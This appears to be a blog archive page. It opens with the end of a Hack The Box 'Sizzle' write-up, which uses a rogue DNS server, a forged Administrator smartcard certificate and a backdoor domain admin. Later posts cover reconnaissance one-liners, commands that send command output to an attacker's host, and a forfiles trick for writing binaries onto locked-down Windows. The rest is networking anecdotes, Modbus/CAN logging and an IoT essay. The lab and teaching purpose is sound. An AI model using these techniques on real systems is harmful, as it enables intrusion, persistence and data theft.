Note that the WinRM ports 5985 and 5986 remained forwarded ‘normally’ without proxychains socat all the time! So I am using one Windows box for WinRM, and I add another Windows box to the setup as the future ‘victim’ domain member.

I did not forward DNS as that would screw up the discovery of Kerberos and LDAP services: The Windows victim client will believe that my Kali box is the domain controller sizzle.htb.local, and it accessed it under my local 192.168.x.y address. When I would forward DNS queries to the true sizzle DC, it would respond with service records pointing to 10.10.10.103 … which the victim Windows box would not be able to locate. I tried some crazy things with ARP poisoning, but the solution is simpler: I set up dnsmasq as a fake DNS server on my Kali box and added all the required SRV records:

dnsmasq uses the dnsmasqhosts file instead of /etc/hosts plus settings in the dnsmasq.conf file that make the box the authoritative DNS server for htb.local

/etc/dnsmasqhosts

192.168.x.y sizzle.htb.local

/etc/dnsmasq.conf

addn-hosts=/etc/dnsmasqhosts
no-hosts

auth-zone=/htb.local
auth-server=/htb.local/192.168.x.y

srv-host=_ldap._tcp.HTB.LOCAL,sizzle.htb.local,389
srv-host=_ldap._tcp.Default-First-Site-Name._sites.HTB.LOCAL,sizzle.htb.local,389
srv-host=_ldap._tcp.dc._msdcs.htb.local,sizzle.htb.local,389
srv-host=_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.HTB.LOCAL,sizzle.htb.local,389
srv-host=_ldap._tcp.pdc._msdcs.HTB.LOCAL,sizzle.htb.local,389
srv-host=_ldap._tcp.gc._msdcs.HTB.LOCAL,sizzle.htb.local,3268
srv-host=_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.HTB.LOCAL,sizzle.htb.local,3268
srv-host=_gc._tcp.HTB.LOCAL,sizzle.htb.local,3268
srv-host=_gc._tcp.Default-First-Site-Name._sites.HTB.LOCAL,sizzle.htb.local,3268
srv-host=_kerberos._tcp.HTB.LOCAL,sizzle.htb.local,88
srv-host=_kerberos._udp.HTB.LOCAL,sizzle.htb.local,88
srv-host=_kerberos._tcp.Default-First-Site-Name._sites.HTB.LOCAL,sizzle.htb.local,88
srv-host=_kerberos._tcp.dc._msdcs.HTB.LOCAL,sizzle.htb.local,88
srv-host=_kpasswd._tcp.HTB.LOCAL,sizzle.htb.local,464
srv-host=_kpasswd._udp.HTB.LOCAL,sizzle.htb.local,464

Resources: List of the SRV records, how the locator process works. I am assuming that the standard name for the site was used – Default-First-Site-Name – which is confirmed by testing the record with nslookup as amanda, directly on sizzle. I omit the record containing the domain GUID though that can be found somewhere in AD (AD Sites and Services or adsiedit.msc).

I discovered some of the ports and records I had missed step by step, by sniffing the traffic on unsuccessful domain joins and net use attempts. For example, having received the info about the proper logon server, the client send an LDAP query over UDP 389 – easy to miss as an important port to be forwarded.

Joining a Windows client to the htb.local domain [>> Contents]

The victim client is a physical Windows 7 box. Redirecting the crypto token over RDP did work as well as connecting USB on a Windows VM – but I did not want to risk anything and rather use a physical USB connection.

On this Windows box I configure the internal IP address of Kali box as the only DNS server. dnsmasq returns all queries for the htb.local domain, and it also forwards other DNS queries to the internet.

I test with some of the SRV records (IP obfuscated):

nslookup
Default Server:  sizzle.htb.local
Address:  192.168.x.y

> sizzle.htb.local
Server:  sizzle.htb.local
Address:  192.168.x.y

Name:    sizzle.htb.local
Address:  192.168.x.y

> set query=SRV
> _kerberos._tcp.dc._msdcs.HTB.LOCAL
Server:  sizzle.htb.local
Address:  192.168.x.y

_kerberos._tcp.dc._msdcs.HTB.LOCAL      SRV service location:
          priority       = 0
          weight         = 0
          port           = 88
          svr hostname   = sizzle.htb.local
sizzle.htb.local        internet address = 192.168.x.y
> 

For completenes: I also add an LMHOSTS file for the domain HTB, and could thus see WINS-like names with nbtstat – but this is definitely not suffcient to locate the domain.

I join the machine to the domain using the GUI / Properties of My Computer, change computer name or domain. Enter the new domain:

Enter amanda’s credentials – she can add her box to the domain:

Welcome!

In parallel, I can check in the other Windows PC – in the PSSession – that my test machine has indeed been added to the domain!

[sizzle.htb.local]: PS C:\Users\amanda\Documents> get-adcomputer -filter *

DistinguishedName : CN=SIZZLE,OU=Domain Controllers,DC=HTB,DC=LOCAL
DNSHostName       : sizzle.HTB.LOCAL
Enabled           : True
Name              : SIZZLE
ObjectClass       : computer
ObjectGUID        : a4f7617b-9228-40b2-9e14-5b3aedb489bd
SamAccountName    : SIZZLE$
SID               : S-1-5-21-2379389067-1826974543-3574127760-1001
UserPrincipalName :

DistinguishedName : CN=TESTPC,CN=Computers,DC=HTB,DC=LOCAL
DNSHostName       :
Enabled           : True
Name              : TESTPC
ObjectClass       : computer
ObjectGUID        : 277cd1c8-0fd1-4816-a63e-bb0653c0ee59
SamAccountName    : TESTPC$
SID               : S-1-5-21-2379389067-1826974543-3574127760-3102
UserPrincipalName :

[sizzle.htb.local]: PS C:\Users\amanda\Documents>

Having recovered from the shock that this actually worked, I reboot the Windows 7 box and logon as amanda to the domain (and the PC) with her user name and password!

On the Kali box proxychains shows extensive communication over ports 88, 139, 445, 389,…, like this:

...
|S-chain|-<>-127.0.0.1:8088-<><>-10.10.10.103:445-<><>-OK
|S-chain|-<>-127.0.0.1:8088-<><>-10.10.10.103:88-<><>-OK
...

Summary of the solution so far [>> Contents]

As amanda, I confirm that could again run the MMCs that I already used before on the Windows attack DC – yes, I can again edit certificate templates and I can also see one more computer in AD Users and Computers :-)

  • Start hackthebox VPN on Kali.
  • Get a default User certificate for amanda once. It is persistent and will last until its or the CA’s expiry, not affected by box reset.
  • Forward WinRM ports to Windows box 1, start WinRM session.
  • Start a  simple shell, from there a meterpreter shell.
  • Start a socks proxy, and ioute traffic through the meterpreter session.
  • Forward all ports again from Kali to your test network using proxychains socat.
  • Setup dnsmasq on Kali tas fake htb.local server, host all SRV records.
  • On Windows box 2, configure your Kali’s internal IP as the only DNS server.
  • Join Windows box 2 to the domain htb.local as HTB\amanda
  • Logon to Windows box 2 as amanda
  • Edit the certificate template SSL to include required EKUs.
  • Prepare a CSR with the admin’s names.
  • Submit the file at /certsrv as amanda.
  • Import the certificate, export key and cert to a PFX, import it to a smartcard.

Finally: Using the Administrator’s token! [>> Contents]

Plug in the token and try net use! The smart card prompts for the PIN, and finally connects to c$ successfully!

C:\hackthebox>net use \\sizzle.htb.local\c$ /smartcard
Reading smart cards........
The following errors occurred reading the smart cards on the system:
No card on reader 2
No card on reader 3
No card on reader 4
No card on reader 5
Using the card in reader 1.  Enter the PIN:
The command completed successfully.

C:\hackthebox>dir \\sizzle.htb.local\c$
 Volume in drive \\sizzle.htb.local\c$ has no label.
 Volume Serial Number is 9C78-BB37

 Directory of \\sizzle.htb.local\c$

03.07.2018  17:22    <DIR>          Department Shares
02.07.2018  22:29    <DIR>          inetpub
02.12.2018  04:56    <DIR>          PerfLogs
26.09.2018  06:49    <DIR>          Program Files
26.09.2018  06:49    <DIR>          Program Files (x86)
11.07.2018  23:59    <DIR>          Users
06.05.2019  15:20    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  10.516.963.328 bytes free

C:\hackthebox>type \\sizzle.htb.local\C$\users\administrator\desktop\root.txt
91c58***************************
C:\hackthebox>

As amanda start a session as Administrator:

runas /smartcard cmd

Again the token asks for the PIN, and I finally have a shell!

\o/

Creating a (not really stealthy) backdoor admin [>> Contents]

I can now create another domain admin – I don’t even have to bother with powershell or net use as I could start any GUI tool from directly from that shell, e.g.

C:\Windows\system32\dsa.msc

Create a Test OU container and a Test User within in:

Add the user to some interesting groups:

Switch the user and logon as HTB\testuser. Now I have my own domain admin desktop!

 

Simple Ping Sweep, Port Scan, and Getting Output from Blind Remote Command Execution

Just dumping some quick and dirty one-liners! These are commands I had used to explore locked-down Windows and Linux machines, using bash or powershell when no other binaries were available or could be transferred to the boxes easily.

Trying to ping all hosts in a subnet

Linux

for i in $(seq 1 254); do host=192.168.0.$i; if timeout 0.1 ping -c 1 $host >/dev/null; then echo $host is alive; fi; done

Edit – a great improvement of this is the following, recommended by 0xdf:

for i in {1..254}; do (host=192.168.0.$i; if ping -c 1 $host > /dev/null; then echo $host alive; fi &); done

 

Windows – not the fastest as there is no timeout option for Test-Connection:

powershell -c "1..254 | % {$h='192.168.0.'+$($_); if ($(Test-Connection -Count 1 $h -ErrorAction SilentlyContinue)) { $('host '+$h+' is alive')|Write-Host}}"

Scanning open ports

Linux:

host=192.168.0.1; for port in {1..1000}; do timeout 0.1 bash -c "echo >/dev/tcp/$host/$port && echo port $port is open"; done 2>/dev/null

… or if nc is avaiable:

for port in $(seq 1 1000); do timeout 0.1 nc -zv 192.168.0.1 $port 2>&1 | grep succeeded; done

Windows – not using Test-NetConnection in order to control the timeout:

powershell -c "$s=$('192.168.0.1');1..1000 | % {$c=New-Object System.Net.Sockets.TcpClient;$c.BeginConnect($s,$_,$null,$null)|Out-Null;Start-Sleep -milli 100; if ($c.Connected) {$('port '+$_+' is open')|Write-Host }}"

Getting output back

… if all you can is running a command blindly, and if there is an open outbound port. In the examples below 192.168.6.6 is the attacker’s host – on which you would start a listener like:

nc -lvp 80

Linux

curl -d $(whoami) 192.168.6.6

Windows

powershell -c curl 192.168.6.6 -method POST -body $(whoami)

Echo Unreadable Hex Characters in Windows: forfiles

How to transfer small files to a locked-down Windows machine? When there is no option to copy, ftp, or http GET a file. When powershell is blocked so that you can only use Windows cmd commands?

My first choice would be to use certutil: certutil is a built-in tool for certificate and PKI management. It can encode binary certificate files – resulting in the familiar PEM output, starting with “—-BEGIN CERTIFICATE—–“. But it can actually encode any binary file! So you can ‘convert’ an executable to a certificate encoded in readable characters, and copy the fake PEM certificate by echo-ing out each of its lines on the target machine. Then the original exectutable  is recovered by decoding the file again with certutil.

But what if certutil is also blocked, and you need to write / paste unreadable characters?

On Linux, you could run

echo -e "\x41"

A

But Windows echo does not have an option to translate characters encoded in hex automatically.

The command line tool forfiles allows to do this, albeit in a bit convoluted way:

forfiles processes files in a directory, interprets the files’ metadata. The examples in the help information give an overview about what the tool is typically used for:

forfiles /?

FORFILES /P C:\WINDOWS /S /M DNS*.*
FORFILES /S /M *.txt /C "cmd /c type @file | more"
FORFILES /P C:\ /S /M *.bat
FORFILES /D -30 /M *.exe
/C "cmd /c echo @path 0x09 was changed 30 days ago"
FORFILES /D 01.01.2001
/C "cmd /c echo @fname is new since Jan 1st 2001"
FORFILES /D +8.5.2019 /C "cmd /c echo @fname is new today"
FORFILES /M *.exe /D +1
FORFILES /S /M *.doc /C "cmd /c echo @fsize"
FORFILES /M *.txt /C "cmd /c if @isdir==FALSE notepad.exe @file"

For each file in a filtered set a command can be executed with option /C. The interesting example is the one referring to

echo @path 0x09

The help explains:

To include special characters in the command
line, use the hexadecimal code for the character
in 0xHH format (ex. 0x09 for tab). Internal
CMD.exe commands should be preceded with
"cmd /c".

You want to run a single command, so you need to run forfiles once. Thus create an empty directory, cd to it, and create a single dummy file within it:

C:\test>echo test >test.txt

Then run echo [hex string] for that single file, like this. It outputs the interpreted characters corresponding to the hexadecimal values:

C:\test>forfiles /c "cmd /c echo 0x410x420x430x01"

ABC☺

C:\test>

Remaining issue: Newlines are added before and after the string. Especially the one at the beginning could be problematic if the operating system would try to find the magic bytes for a certain type of file there.

The first newline is removed by redirecting echo within the enclosed command (whereas redirecting the whole forfiles command would keep it)

C:\test>forfiles /c "cmd /c echo 0x410x420x430x01 >out.txt"

C:\test>type out.txt
ABC☺

C:\test>

The trailing extra line is a superfluous carriage return + linefeed. It can be removed by using the set command in this way:

set /p=[String]

This sets a variable without specifying a variable name, so the error level is set to 1. Nevertheless, it outputs the value of this non-existing variable – without an appended line break.

C:\test>forfiles /c "cmd /c set /p=0x410x420x430x01 >out.txt"


C:\test>type out.txt
ABC☺

This command seems to ‘hang’ and you need to ENTER once more to complete it. cmd is waiting for input here, and you can add input from the nul device – then the command is completed in one step:

C:\test>forfiles /c "cmd /c <nul set /p=0x410x420x430x01 >out.txt"

But there is still one a blank character (Hex 32) appended at the end:

C:\test>powershell Get-Content out.txt -encoding Byte
65
66
67
1
32

This blank goes away if no blank is entered between the hex string and the >:

C:\test>forfiles /c "cmd /c <nul set /p=0x410x420x430x01>out.txt"


C:\test>powershell Get-Content out.txt -encoding Byte
65
66
67
1

Remaining limitation: The contents of the variable must not begin with special characters that will trip up the set command. E.g. an equal sign at the beginning is a bad character (and it does not matter if this character is hex-encoded or not).

Cloudy Troubleshooting (2)

Unrelated to part 1 – but the same genre.

Actors this time:

  • File Cloud: A cloud service for syncing and sharing files. We won’t drop a brand name, will we?
  • Client: Another user of File Cloud.
  • [Redacted]: Once known for reliability and as The Best Network.
  • Dark Platform: Wannabe hackers’ playground.
  • elkement: Somebody who sometimes just wants to be an end user, but always ends up sniffing and debugging.

There are no dialogues with human life-forms this time, only the elkement’s stream of consciousness, interacting with the others via looking at things at a screen.

elkement: Time for a challenging Sunday hack!

elkement connects to the The Dark Platform. Hardly notices anything in the real world anymore. But suddenly elkement looks at the clock – and at File Cloud’s icon next to it.

elkement: File Cloud, what’s going on?? Seems you have a hard time Connecting… for hours now? You have not even synced my hacker notes from yesterday evening?

elkement tries to avoid to look at File Cloud, but it gets too painful.

elkement: OK – let’s consider the File Cloud problem the real Sunday hacker’s challenge…

elkement walks through the imaginary checklist:

  • File Cloud mentioned on DownDetector website? No.
  • Users tweeting about outage? No.
  • Do the other cloudy apps work fine? Yes.
  • Do other web sites work fine? Yes.
  • Does my router needs its regular reboots because it’s DNS server got stuck? No.
  • Should I perhaps try the usual helpdesk recommendation? Yes. (*)

(*) elkement turns router and firewall off and on again. Does not help.

elkement gets worried about Client using File Cloud, too. Connects to Client’s network – via another cloudy app (that obviously also works).

  • Does Client has the same issues? Yes and No – Yes at one site, No at another site.

elkement: Oh no – do I have to setup a multi-dimensional test matrix again to check for weird dependencies?

Coffee Break. Leaving the hacker’s cave. Gardening.

elkement: OK, let’s try something new!

elkement connects to super shaky mobile internet via USB tethering on the smart phone.

  • Does an alternative internet connection fix File Cloud? Yes!!

elkement: Huh!? Will now again somebody explain to me that a protocol (File Cloud) is particularly sensitive to hardly noticeable network disconnects? Is it maybe really a problem with [Redacted] this time?

elkement checks out DownDetector for [Redacted] – and there they are the angry users and red spots on the map. They mention that seemingly random websites and applications fail. And that [Redacted] is losing packets.

elkement: Really? Only packets for File Cloud?

elkement starts sniffing. Checks IP addresses.

(elkement: Great, whois does still work, despite the anticipated issues with GDPR!)

elkement spots communication with File Cloud. File Cloud client and server are stuck in a loop of misunderstandings. File Cloud client is rude and says: RST, then starts again. Says Hello. They never shake hands as a previous segment was not captured.

elkement: But why does all the other stuff work??

elkement googles harder. Indeed, some other sites might be slower – not The Dark Platform, fortunately. Now finally Google and duckduckgo stop working, too. 

elkement: I can’t hack without Google.

elkement hacks something without Google though. Managed to ignore File Cloud’s heartbreaking connection attempts.

A few hours later it’s over. File Cloud syncs hacker notes. Red spots on DownDetector start to fade out while the summer sun is setting.

~

FIN, ACK

Cloudy Troubleshooting

Actors:

  • Cloud: Service provider delivering an application over the internet.
  • Client: Business using the Cloud
  • Telco: Service provider operating part of the network infrastructure connecting them.
  • elkement: Somebody who always ends up playing intermediary.

~

Client: Cloud logs us off ever so often! We can’t work like this!

elkement: Cloud, what timeouts do you use? Client was only idle for a short break and is logged off.

Cloud: Must be something about your infrastructure – we set the timeout to 1 hour.

Client: It’s becoming worse – Cloud logs us off every few minutes even we are in the middle of working.

[elkement does a quick test. Yes, it is true.]

elkement: Cloud, what’s going on? Any known issue?

Cloud: No issue in our side. We have thousands of happy clients online. If we’d have issues, our inboxes would be on fire.

[elkement does more tests. Different computers at Client. Different logon users. Different Client offices. Different speeds of internet connections. Computers at elkement office.]

elkement: It is difficult to reproduce. It seems like it works well for some computers or some locations for some time. But Cloud – we did not have any issues of that kind in the last year. This year the troubles started.

Cloud: The timing of our app is sensitive: If network cards in your computers turn on power saving that might appear as a disconnect to us.

[elkement learns what she never wanted to know about various power saving settings. To no avail.]

Cloud: What about your bandwidth?… Well, that’s really slow. If all people in the office are using that connection we can totally understand why our app sees your users disappearing.

[elkement on a warpath: Tracking down each application eating bandwidth. Learning what she never wanted to know about tuning the background apps, tracking down processes.]

elkement: Cloud, I’ve throttled everything. I am the only person using Clients’ computers late at night, and I still encounter these issues.

Cloud: Upgrade the internet connection! Our protocol might choke on a hardly noticeable outage.

[elkement has to agree. The late-night tests were done over a remote connections; so measurement may impact results, as in quantum physics.]

Client: Telco, we buy more internet!

[Telco installs more internet, elkement measures speed. Yeah, fast!]

Client: Nothing has changed, Clouds still kicks us out every few minutes.

elkement: Cloud, I need to badger you again….

Cloud: Check the power saving settings of your firewalls, switches, routers. Again, you are the only one reporting such problems.

[The router is a blackbox operated by Telco]

elkement: Telco, does the router use any power saving features? Could you turn that off?

Telco: No we don’t use any power saving at all.

[elkement dreams up conspiracy theories: Sometimes performance seems to degrade after business hours. Cloud running backup jobs? Telco’s lines clogged by private users streaming movies? But sometimes it’s working well even in the location with the crappiest internet connection.]

elkement: Telco, we see this weird issue. It’s either Cloud, Client’s infrastructure, or anything in between, e.g. you. Any known issues?

Telco: No, but [proposal of test that would be difficult to do]. Or send us a Wireshark trace.

elkement: … which is what I planned to do anyway…

[elkement on a warpath 2: Sniffing, tracing every process. Turning off all background stuff. Looking at every packet in the trace. Getting to the level where there are no other packets in between the stream of messages between Client’s computers and Cloud’s servers.]

elkement: Cloud, I tracked it down. This is not a timeout. Look at the trace: Server and client communicating nicely, textbook three-way handshake, server says FIN! And no other packet in the way!

Cloud: Try to connect to a specific server of us.

[elkement: Conspiracy theory about load balancers]

elkement: No – erratic as ever. Sometimes we are logged off, sometimes it works with crappy internet. Note that Client could work during vacation last summer with supper shaky wireless connections.

[Lots of small changes and tests by elkement and Cloud. No solution yet, but the collaboration is seamless. No politics and finger-pointing who to blame – just work. The thing that keeps you happy as a netadmin / sysadmin in stressful times.]

elkement: Client, there is another interface which has less features. I am going to test it…

[elkement: Conspiracy theory about protocols. More night-time testing].

elkement: Client, Other Interface has the same problems.

[elkement on a warpath 3: Testing again with all possible combinations of computers, clients, locations, internet connections. Suddenly a pattern emerges…]

elkement: I see something!! Cloud, I believe it’s user-dependent. Users X and Y are logged off all the time while A and B aren’t.

[elkement scratches head: Why was this so difficult to see? Tests were not that unambiguous until now!]

Cloud: We’ve created a replacement user – please test.

elkement: Yes – New User works reliably all the time! :-)

Client: It works –  we are not thrown off in the middle of work anymore!

Cloud: Seems that something about the user on our servers is broken – never happened before…

elkement: But wait :-( it’s not totally OK: Now logged off after 15 minutes of inactivity? But never mind – at least not as bad as logged off every 2 minutes in the middle of some work.

Cloud: Yeah, that could happen – an issue with Add-On Product. But only if your app looks idle to our servers!

elkement: But didn’t you tell us that every timeout ever is no less than 1 hour?

Cloud: No – that 1 hour was another timeout …

elkement: Wow – classic misunderstanding! That’s why it is was so difficult to spot the pattern. So we had two completely different problems, but both looked like unwanted logoffs after a brief period, and at the beginning both weren’t totally reproducible.

[elkement’s theory validated again: If anything qualifies elkement for such stuff at all it was experience in the applied physics lab – tracking down the impact of temperature, pressure and 1000 other parameters on the electrical properties of superconductors… and trying to tell artifacts from reproducible behavior.]

~

Cloudy

Logging Fun with UVR16x2: Photovoltaic Generator – Modbus – CAN Bus

The Data Kraken wants to grow new tentacles.

I am playing with the CMI – Control and Monitoring Interface – the logger / ‘ethernet gateway’ connected to our control units (UVR1611, UVR16x2) via CAN bus. The CMI has become a little Data Kraken itself: Inputs and outputs can be created for CAN bus and Modbus, and data from most CAN devices can also be logged via JSON.

Are these features useful to integrate the datalogger of our photovoltaics inverter – Fronius Symo 4.5-3-M? I am now logging data to an USB stick and feed the CSV files to the SQL Server Data Kraken. The USB logger’s logging interval is 5 minutes whereas Modbus TCP allows for logging every few seconds. The inverter has built-in energy management features, but it can only ‘signal’ via a relay which also requires proper wiring. Modbus TCP, on the other hand, could use the existing WLAN connection of the inverter and the control unit could do something smarter with the sensor reading of the output power.

My motivation is to test if you – as an UVR16x2 user – can re-use a logger you  already have – the CMI – as much as possible, avoiding the need to run another ‘logging server’ all the time (Also my SQL Server is for analysis, not for real-time logging). I know that there are many open source Modbus clients available and that it is easy to write a Python script.

Activate Modbus on the inverter: I prefer floating numbers to integers plus a scaling factor, and I turn off the option to make changes via Modbus:

Modbus settings, Fronius Datalogger, inverter’s local web server. 502 is the TCO standard port. The alternative to floating numbers is integers plus a varying scaling factor (SF), to be found in another register.

Check Fronius documentation of its Modbus registers: The document is currently available here (Link last checked and updated 2019-01). There are different sets of registers related to the inverter or associated with one string of PV panels:

PDF p.30, Common Inverter Model. For logging AC output power you need:  Address 40092, type of register 3 (read and hold), datatype float32 (‘corresponds’ to two 16bit integer register, thus size 2).

The address to be configured on a Modbus client is smaller than this address by 1 – so 40091 needs to be set to log AC power.

Using these configuration parameters an analog Modbus Input is added at the CMI. The signal is ‘digital’ – but in field-bus-language everything that is not a single bit – 0/1 – seems to be ‘analog’.

Modbus input at the CMI. Input value:  32bits read from the bus interpreted as an integer. Actual value: Integer part of the ‘true value’ = the 32bits interpreted as 32-bit float.

Yes, I checked the network trace ;-) as the byte order dropdown menu confused me: According to the Modbus protocol specification Big Endian is required, not an option.

Factors and data types: Only integer values are understood by CAN devices. Decimal places might be indicated by a scaling factor. The PV power value in Watt has enough significant digits; so the integer part of the float number is fine. But for current in Ampere – typically about 15A maximum – a Factor of 10 would be better. It would not have helped to select int + scaling factor at the inverter: The scaling factor would be stored in a second register, there is a different factor for every parameter, and you cannot configure another ‘scaling factor register’ per input at the CMI. Theoretically you could log the scaling factor separately and re-scale the value in a custom application – but then I would use a separate, custom logger.

In any case, if you screw this up, you see non-sensible numbers of the CAN bus: Slowly evolving positive values – like PV power on a sunny day – are displayed as wild variations of signed integers between -32000 and 32000 ;-)

Where are the ‘logged’ data? The CMI is first and foremost the data logger for the control units. The CMI does not immediately store the data from Modbus inputs in a  local ‘logging database’. All I have achieved so far is to display the value on the Settings page. The CMI can only log values from the CAN bus or DL bus. So we need an…

… Analog CAN Output at the CMI:

The CMI has the default node number 56 on the CAN bus. Other CAN devices on the bus can query it for this parameter by specifying node 56 and output no 1.

These are the devices on our CAN bus:

CAN bus displayed on the CMI’s website. UVR1611 and UVR16x2 controllers can be managed by clicking their icons – which brings up a web page that resembles the controller’s local display.

The CMI’s Logging page looks tempting – can we simply select the CMI itself as a CAN logging source – CAN 56?

Configuration of the devices the CMI logs data from, via CAN bus. CAN 1 – UVR1611, CAN 2 – UVR16x3, CAN 41 – energy meter CAN-EZ.

Nothing stops you from selecting CAN 56 in this dropdown menu, but it does not end well:

CAN error message displayed at the logger CMI when you try to configure the CMI also as a logging source.

We need a round-trip: Data needs to be sent to a supported device first – one of the controllers on the CAN bus. We need an…

Analog CAN input / network variable at the UVR16x2:

Configuration of a CAN input at the controller UVR16x2 (via CMI’s web interface to the controller).

The value of AC power is displayed as integer without scaling. Had a factor of 10 been used at the Modbus input it would be ‘corrected’ here, using the Unit called dimensionless,1.

logging-uvr16x2-can-network-input-can-value-display

Values received by the controller UVR16x2 over CAN bus.

Result of all this: UVR16x2 knows PV power and can use it do magic smart things when controlling the heat pump. On the other hand, CMI can log this value – in the same way it logs all other sensor readings (after an update of the logging settings in the controller’s functional data, using TAPPS).

Log files are retrieved by Winsol, the free logging software for the CMI …

Logged visualized with Winsol. Logfiles are downloaded from the CMI on the internal LAN or via Technsche Alternative’s web portal. PV power (PV.Leistung.Watt) is displayed together with global radiation on a vertical plane (GBS, at the solar/air collector for the theat pump), ambient temperature (red), temperature of solar/air collector (orange)

… or logging is configured at the web portal cmi.ta.co.at …

Configuration of logging at cmi.ta.co.at: Supported loggers are UVR1611 and UVR16x2. Values to be logged are selected from all direct inputs / outputs / functions and from CAN network inputs and outputs.

… and data can be viewed online:

Data visualized at cmi.ta.co.at. Data logged via CAN are sent from the CMI to the web portal.

Using this kind of logging for all values the inverter provides would be costly: It’s not just a column you add to a log file, but you occupy one of the limited inputs and outputs at the CMI and the controller. If you really need to know the voltage between phase 1 and 2 or apparent power you better stick with the USB file or use a separate Modbus logger like a Rasbperry Pi. This project is great and documented very well – data acqusition from a Symo inverter using Python plus a web front end.

Sending Modbus data back and forth from the CMI to UVR controllers is only worth the efforts if you need them for control, not for ‘nice-to-have’ logging.

Internet of Things. Yet Another Gloomy Post.

Technically, I work with Things, as in the Internet of Things.

As outlined in Everything as a Service many formerly ‘dumb’ products – such as heating systems – become part of service offerings. A vital component of the new services is the technical connection of the Thing in your home to that Big Cloud. It seems every energy-related system has got its own Internet Gateway now: Our photovoltaic generator has one, our control unit has one, and the successor of our heat pump would have one, too. If vendors don’t bundle their offerings soon, we’ll end up with substantial electricity costs for powering a lot of separate gateways.

Experts have warned since years that the Internet of Things (IoT) comes with security challenges. Many Things’ owners still keep default or blank passwords, but the most impressive threat is my opinion is not hacking individual systems: Easily hacked things can be hijacked to serve as zombie clients in a botnet and lauch a joint Distributed Denial of Service attack against a single target. Recently the blog of renowned security reporter Brian Krebs has been taken down, most likely as an act of revenge by DDoSers (Crime is now offered as a service as well.). The attack – a tsunami of more than 600 Gbps – was described as one of the largest the internet had seen so far. Hosting provider OVH was subject to a record-breaking Tbps attack – launched via captured … [cue: hacker movie cliché] … cameras and digital video recorders on the internet.

I am about the millionth blogger ‘reporting’ on this, nothing new here. But the social media news about the DDoS attacks collided with another social media micro outrage  in my mind – about seemingly unrelated IT news: HP had to deal with not-so-positive reporting about its latest printer firmware changes and related policies –  when printers started to refuse to work with third-party cartridges. This seems to be a legal issue or has been presented as such, and I am not interested in that aspect here. What I find interesting is the clash of requirements: After the DDoS attacks many commentators said IoT vendors should be held accountable. They should be forced to update their stuff. On the other hand, end users should remain owners of the IT gadgets they have bought, so the vendor has no right to inflict any policies on them and restrict the usage of devices.

I can relate to both arguments. One of my main motivations ‘in renewable energy’ or ‘in home automation’ is to make users powerful and knowledgable owners of their systems. On the other hand I have been ‘in security’ for a long time. And chasing firmware for IoT devices can be tough for end users.

It is a challenge to walk the tightrope really gracefully here: A printer may be traditionally considered an item we own whereas the internet router provided by the telco is theirs. So we can tinker with the printer’s inner workings as much as we want but we must not touch the router and let the telco do their firmware updates. But old-school devices are given more ‘intelligence’ and need to be connected to the internet to provide additional services – like that printer that allows to print from your smartphone easily (Yes, but only if you register it at the printer manufacturer’s website before.). In addition, our home is not really our castle anymore. Our computers aren’t protected by the telco’s router / firmware all the time, but we work in different networks or in public places. All the Things we carry with us, someday smart wearable technology, will check in to different wireless and mobile networks – so their security bugs should better be fixed in time.

If IoT vendors should be held accountable and update their gadgets, they have to be given the option to do so. But if the device’s host tinkers with it, firmware upgrades might stall. In order to protect themselves from legal persecution, vendors need to state in contracts that they are determined to push security updates and you cannot interfere with it. Security can never be enforced by technology only – for a device located at the end user’s premises.

It is horrible scenario – and I am not sure if I refer to hacking or to proliferation of even more bureaucracy and over-regulation which should protect us from hacking but will add more hurdles for would-be start-ups that dare to sell hardware.

Theoretically a vendor should be able to separate the security-relevant features from nice-to-have updates. For example, in a similar way, in smart meters the functions used for metering (subject to metering law) should be separated from ‘features’ – the latter being subject to remote updates while the former must not. Sources told me that this is not an easy thing to achieve, at least not as easy as presented in the meters’ marketing brochure.

Linksys's Iconic Router

That iconic Linksys router – sold since more than 10 years (and a beloved test devices of mine). Still popular because you could use open source firmware. Something that new security policies might seek to prevent.

If hardware security cannot be regulated, there might be more regulation of internet traffic. Internet Service Providers could be held accountable to remove compromised devices from their networks, for example after having noticed the end user several times. Or smaller ISPs might be cut off by upstream providers. Somewhere in the chain of service providers we will have to deal with more monitoring and regulation, and in one way or other the playful days of the earlier internet (romanticized with hindsight, maybe) are over.

When I saw Krebs’ site going offline, I wondered what small business should do in general: His site is now DDoS-protected by Google’s Project Shield, a service offered to independent journalists and activists after his former pro-bono host could not deal with the load without affecting paying clients. So one of the Siren Servers I commented on critically so often came to rescue! A small provider will not be able to deal with such attacks.

WordPress.com should be well-protected, I guess. I wonder if we will all end up hosting our websites at such major providers only, or ‘blog’ directly to Facebook, Google, or LinkedIn (now part of Microsoft) to be safe. I had advised against self-hosting WordPress myself: If you miss security updates you might jeopardize not only your website, but also others using the same shared web host. If you live on a platform like WordPress dot com or Google, you will complain from time to time about limited options or feature updates you don’t like – but you don’t have to care about security. I compare this to avoiding legal issues as an artisan selling hand-made items via Amazon or the like, in contrast to having to update your own shop’s business logic after every change in international tax law.

I have no conclusion to offer. Whenever I read news these days – on technology, energy, IT, anything in between, The Future in general – I feel reminded of this tension: Between being an independent neutral netizen and being plugged in to an inescapable matrix, maybe beneficial but Borg-like nonetheless.

Hacking My Heat Pump – Part 2: Logging Energy Values

In the last post, I showed how to use Raspberry Pi as CAN bus logger – using a test bus connected to control unit UVR1611. Now I have connected it to my heat pump’s bus.

Credits for software and instructions:

Special thanks to SK Pang Electronics who provided me with CAN boards for Raspberry Pi after having read my previous post!!

CAN boards for Raspberry Pi, by SK Pang

CAN extension boards for Raspberry Pi, by SK Pang. Left: PiCAN 2 board (40 GPIO pins), right: smaller, retired PiCAN board with 26 GPIO pins – the latter fits my older Pi. In contrast to the board I used in the first tests, these have also a serial (DB9) interface.

Wiring CAN bus

We use a Stiebel-Eltron WPF 7 basic heat pump installed in 2012. The English website now refers to model WPF 7 basic s.

The CAN bus connections described in the German manual (Section 12.2.3) and the English manual (Wiring diagram, p.25) are similar:

Stiebel-Eltron WPF 7 basic - CAN bus connections shown in German manual

CAN bus connections inside WPF 7 basic heat pump. For reference, see the description of the Physical Layer of the CAN protocol. Usage of the power supply (BUS +) is optional.

H, L and GROUND wires from the Pi’s CAN board are connected to the respective terminals inside the heat pump. I don’t use the optional power supply as the CAN board is powered by Raspberry Pi, and I don’t terminate the bus correctly with 120 Ω. As with the test bus, wires are rather short and thus have low resistance.

Stiebel-Eltron WPF 7 basic - CAN bus connections inside the heat pump, cable from Raspberry Pi connected.

